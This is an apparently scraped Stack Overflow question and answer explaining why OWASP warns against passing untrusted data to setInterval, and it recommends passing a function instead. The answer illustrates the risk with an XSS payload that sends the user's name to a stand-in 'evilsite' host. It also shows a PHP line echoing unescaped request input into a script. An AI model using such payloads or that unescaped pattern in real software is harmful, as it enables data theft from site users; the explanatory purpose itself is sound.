问题
I'm going through OWASP Cross Site Scripting Prevent Cheat Sheet. In rule #3 it says:
Please note there are some JavaScript functions that can never safely use untrusted data as input - EVEN IF JAVASCRIPT ESCAPED!
<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>
To clarify:
- I know that using
setInterval
et al. is safe with your own content. - I know that one must validate, escape and/or sanitise external content.
My understanding is that rule #3 sorts of imply that an attacker can bypass any XSS filters you can think of if you use setInterval
.
Do you have an example of what they mean? What kind of XSS attack you'll never be safe from using setInterval
?
There is a similar question here: .setinterval and XSS unfortunately the answer didn't help me.
回答1:
Some background first:
Escaping to defend against XSS involves adding suitable escape characters so that rogue data can't break out of wherever you put it and be evaluated as JavaScript.
e.g. given user input of xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '
If you inserted it into a string literal with server-side code:
const userinput = '<?php echo $_GET("userinput"); ?>'
You'd get:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
Then the '
would break out of the string literal in the JS, steal the username, and send it to the attacker's website. (There are worse things than usernames which could be stolen.
Escaping is designed to prevent the data from breaking out of the string literal like that:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
So the attacking code just becomes part of the string and not evaluated as raw code.
The problem with passing a string to setInterval
(or setTimeout
, new Function
, eval
, etc) is that they are functions designed to evaluate code.
The attacker doesn't need to break out of the string literal to have their code executed. It's happening already.
My question is about understanding why setInterval can never be safe from XSS.
That isn't what the warning you quoted said. It said it can never safely use untrusted data as input. If you're putting your own code there, it is perfectly safe. It is when you evaluate some user input that you have problems.
Passing a string to setInterval
is a bad idea anyway. It is hard to debug and relatively slow.
Pass a function instead. You can even use user input safely then (since it isn't being evaluated as code, it is just a variable with a string in it).
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);
来源:https://stackoverflow.com/questions/62872675/why-is-setinterval-not-safe-from-xss